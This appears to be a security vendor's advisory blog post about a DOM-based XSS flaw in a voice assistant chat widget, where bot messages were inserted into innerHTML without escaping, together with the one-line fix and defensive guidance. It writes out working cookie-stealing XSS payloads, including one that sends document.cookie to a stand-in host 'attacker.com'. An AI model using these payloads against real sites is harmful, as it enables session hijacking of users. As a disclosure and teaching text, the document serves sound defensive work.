Back to Blog
high SEVERITY5 min read

Voice Assistant Widget XSS: Unsanitized Bot Messages Execute in

The voice assistant widget's `appendMessage` function had a critical cross-site scripting (XSS) vulnerability where bot messages were inserted directly into the DOM without sanitization, while user messages were escaped. An attacker controlling bot responses could inject and execute arbitrary JavaScript in the user's browser context. The fix applies HTML escaping to all message types uniformly.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published October 2, 2026•Reviewed October 2, 2026

Answer Summary

The voice assistant widget in js-modules/voice/voice-assistant-widget.js was vulnerable to DOM-based XSS because the `appendMessage` function escaped user messages but inserted bot messages directly with `innerHTML`. An attacker with control over bot response content could execute arbitrary JavaScript in the user's browser. The fix applies `escapeHTML()` to all messages regardless of origin. CWE-79 (Improper Neutralization of Input During Web Page Generation) is the root cause.

Vulnerability at a Glance

cweCWE-79
fixApply escapeHTML() uniformly to all message content before DOM insertion
riskArbitrary JavaScript execution in user browser; session hijacking, credential theft, malware injection
languageJavaScript
root causeAsymmetric escaping logic—bot messages bypass sanitization while user messages are escaped
vulnerabilityDOM-based Cross-Site Scripting (XSS)

The Vulnerability Explained

The voice assistant widget's appendMessage function is responsible for injecting chat messages into the DOM. The original implementation treated user and bot messages asymmetrically:

const content = className === 'user-message' ? escapeHTML(text) : text;
msgDiv.innerHTML = `<div class="message-content">${content}</div>`;

The problem: User messages are passed through escapeHTML(), which converts characters like <, >, and " into HTML entities. Bot messages are inserted raw. An attacker who controls bot response content—or whose input is reflected through the bot backend—can inject a payload like:

<img src=x onerror="fetch('/steal-session', {method: 'POST', body: document.cookie})">

When this string is assigned to innerHTML without escaping, the browser parses it as an HTML element, registers the event handler, and fires it immediately. The attacker now exfiltrates the user's session token.

The vulnerability is DOM-based XSS because the injection occurs on the client, through the DOM API (innerHTML), after content has been received from the server. The trust boundary—the assumption that bot responses are safe—was misplaced.

Attack Scenario

  1. An attacker discovers a way to influence bot responses: perhaps the bot service accepts a user search parameter and returns results, or it summarizes a user-uploaded document.
  2. The attacker inputs: Test<svg/onload="new Image().src='http://attacker.com/log?cookie='+document.cookie">
  3. This input is stored in the bot's knowledge base or processed by a generative model.
  4. When a victim user triggers a bot response containing this payload, the SVG element loads and fires the onload handler, sending the victim's cookies to the attacker.
  5. The attacker uses the stolen session cookie to impersonate the victim.

This attack is particularly dangerous because victims see no visual indication that JavaScript was executed—no popup, no error, just a chat message that looks benign.

Affected Versions

Affected Not applicable (first-party code)
Fixed in Not applicable (commit-level fix)
Ecosystem N/A
CVE / GHSA Not assigned
CWE CWE-79 (Improper Neutralization of Input During Web Page Generation)

This vulnerability exists in the currently deployed version of the voice assistant widget. Since the code is first-party, there is no version string; the fix should be deployed as part of your next release cycle.

The Fix

The solution is to eliminate the asymmetry: escape all message content before DOM insertion, regardless of origin.

Before:

const content = className === 'user-message' ? escapeHTML(text) : text;
msgDiv.innerHTML = `<div class="message-content">${content}</div>`;

After:

const content = escapeHTML(text);
msgDiv.innerHTML = `<div class="message-content">${content}</div>`;

This single-line change applies escapeHTML() uniformly. All HTML special characters—<, >, ", ', &—are converted to entity references. Legitimate text renders normally; malicious markup is neutralized.

Why this works:
- Event handlers cannot fire if the tags themselves are escaped. <img onerror=…> becomes the string &lt;img onerror=…&gt;, which the browser renders as text, not as an element.
- Script tags are visible as text, not executed. A payload like <script>alert(1)</script> is displayed to the user as literal text, alerting them to the injection attempt.
- No loss of functionality for legitimate messages. If a bot needs to send rich formatting, that content should be pre-rendered on the backend and sent as a safe, pre-escaped template—not as raw HTML.

The regression test in the PR confirms this behavior across adversarial payloads:
- Script injection (<script>malicious()</script>)
- Event handler injection (<img onerror="alert()">
- SVG-based injection (<svg/onload=…>)
- Data URL iframe injection

All are neutralized and rendered as inert text.

Key Takeaways

  • Never assume bot or backend responses are safe just because they originate from your own server. If the backend accepts any user-controlled input—search terms, document uploads, external API responses, database records—that input is untrusted at the client and must be escaped before DOM insertion.

  • innerHTML + unsanitized data = XSS. Always. Even a single code path that skips escaping breaks the security boundary. Use innerHTML only with content you control; prefer textContent for user-visible text and templating libraries for dynamic markup.

  • The className check is not a security control. Checking the message type (user vs. bot) is a UI concern, not a trust boundary. Trust boundaries must be based on data provenance (trusted vs. untrusted), not message metadata.

  • Asymmetric security logic is a red flag. If user input is escaped but bot input is not, ask: why? If you cannot articulate a cryptographic or process-based reason to trust the bot source, apply the same defense to both.

  • Test with actual XSS payloads, not just valid input. The regression test in the PR includes four distinct XSS vectors; your own test suite should do the same for any user-facing rendering.

How Orbis AppSec Detected This

Source: Bot response text parameter passed to appendMessage() function.

Sink: innerHTML assignment in the appendMessage function, which renders the message into the DOM.

Missing control: HTML escaping was conditionally applied based on className, allowing bot messages to bypass sanitization.

CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')).

Fix: Apply escapeHTML() to all message text uniformly, regardless of origin.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

DOM-based XSS in UI widgets is insidious because the vulnerability lives on the client, where it is invisible to server-side security monitoring. The voice assistant widget's treatment of bot messages as inherently safe was a common mistake—one that conflates message origin (internal service) with message trustworthiness (safe content).

The fix is minimal and surgical: escape all user-facing text before DOM insertion, with no exceptions. This is a foundational principle of secure client-side rendering and should be applied everywhere innerHTML, textContent, or similar APIs are used to render data sourced from any API or user input channel.


Prevention and further reading

Frequently Asked Questions

Why were user messages escaped but bot messages were not in the original code?

The developer likely assumed bot messages originated from a trusted server source. However, if the backend API is compromised, accepts user-controlled input without validation, or forwards third-party data, bot messages become untrusted and require the same escaping as user input.

Can an attacker exploit this without modifying the backend, or only by compromising the bot API?

If the bot backend accepts any user-controlled input (search queries, user-generated context, external API calls, or database records) and echoes them back in responses without sanitization, an attacker can craft malicious input that triggers the XSS when the response is rendered in the widget.

Does the fix change the structure or styling of bot messages displayed to the user?

No. The fix only tightens HTML escaping; legitimate text content (including HTML entity references like `&nbsp;`) displays identically. Event handlers and script tags are neutralized, not valid message content.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #1239

Related Articles

critical

navbar.html Injection via innerHTML in loadNavbar.js

An Electron app's `loadNavbar.js` fetched `navbar.html` and wrote the response straight into `innerHTML`, so any script tags or event-handler attributes in that file would execute in the renderer. The fix adds a `sanitizeNavbarHtml` routine that parses the markup with `DOMParser` and strips `<script>` tags, `on*` attributes, and `srcdoc` before the content is injected into the DOM.

critical

addSourceInput() javascript: URL Injection in Source List Handler

The `addSourceInput()` function in the application's source list handler was assigning user-provided URLs directly to input elements without protocol validation, allowing `javascript:` URLs to persist and execute. A new `isSafeSourceUrl()` helper now restricts values to HTTP/HTTPS protocols or empty strings.

critical

getCheckboxString() HTML Injection via MIDI Metadata

The `getCheckboxString` helper built checkbox markup by interpolating MIDI instrument and program names directly into an HTML template string, which was then parsed with `DOMParser` and injected via `replaceChildren()`. A crafted MIDI file could smuggle an HTML/JS payload through its instrument metadata and have it rendered as live DOM, including inline event handlers. The fix adds a dedicated `escapeHtml()` function and routes both parameters through it before the markup is built.

high

Location Search XSS in index.html: Unsanitized Query Rendering

A location search feature in index.html rendered user-supplied search queries directly into the DOM without HTML entity encoding, allowing attackers to inject malicious JavaScript. The fix adds output encoding that converts dangerous characters (`&`, `<`, `>`, `"`, `'`) to their HTML entity equivalents before the query string reaches the page.

high

[ValidateInput(false)] on SettingsController.Index Enables Stored XSS

The `Index` POST action of the Power BI module's `SettingsController` was decorated with `[ValidateInput(false)]`, switching off ASP.NET MVC's built-in request validation for every form field bound to `SettingsModel`. Raw `<script>` markup could therefore be persisted into module settings and later rendered back to other users. The fix removes the attribute, restoring framework-level rejection of markup-bearing input on that action while leaving its `[ValidateAntiForgeryToken]` and edit-level au

high

brace-expansion Stack Exhaustion: CVE-2026-102276 Patched

A critical stack exhaustion vulnerability in brace-expansion allows attackers to crash Node.js applications by supplying specially crafted brace patterns that trigger unbounded recursion. The fix upgrades the library across all maintained version lines to enforce depth limits on recursive expansion. This vulnerability affects any service that expands user-controlled brace patterns without input validation.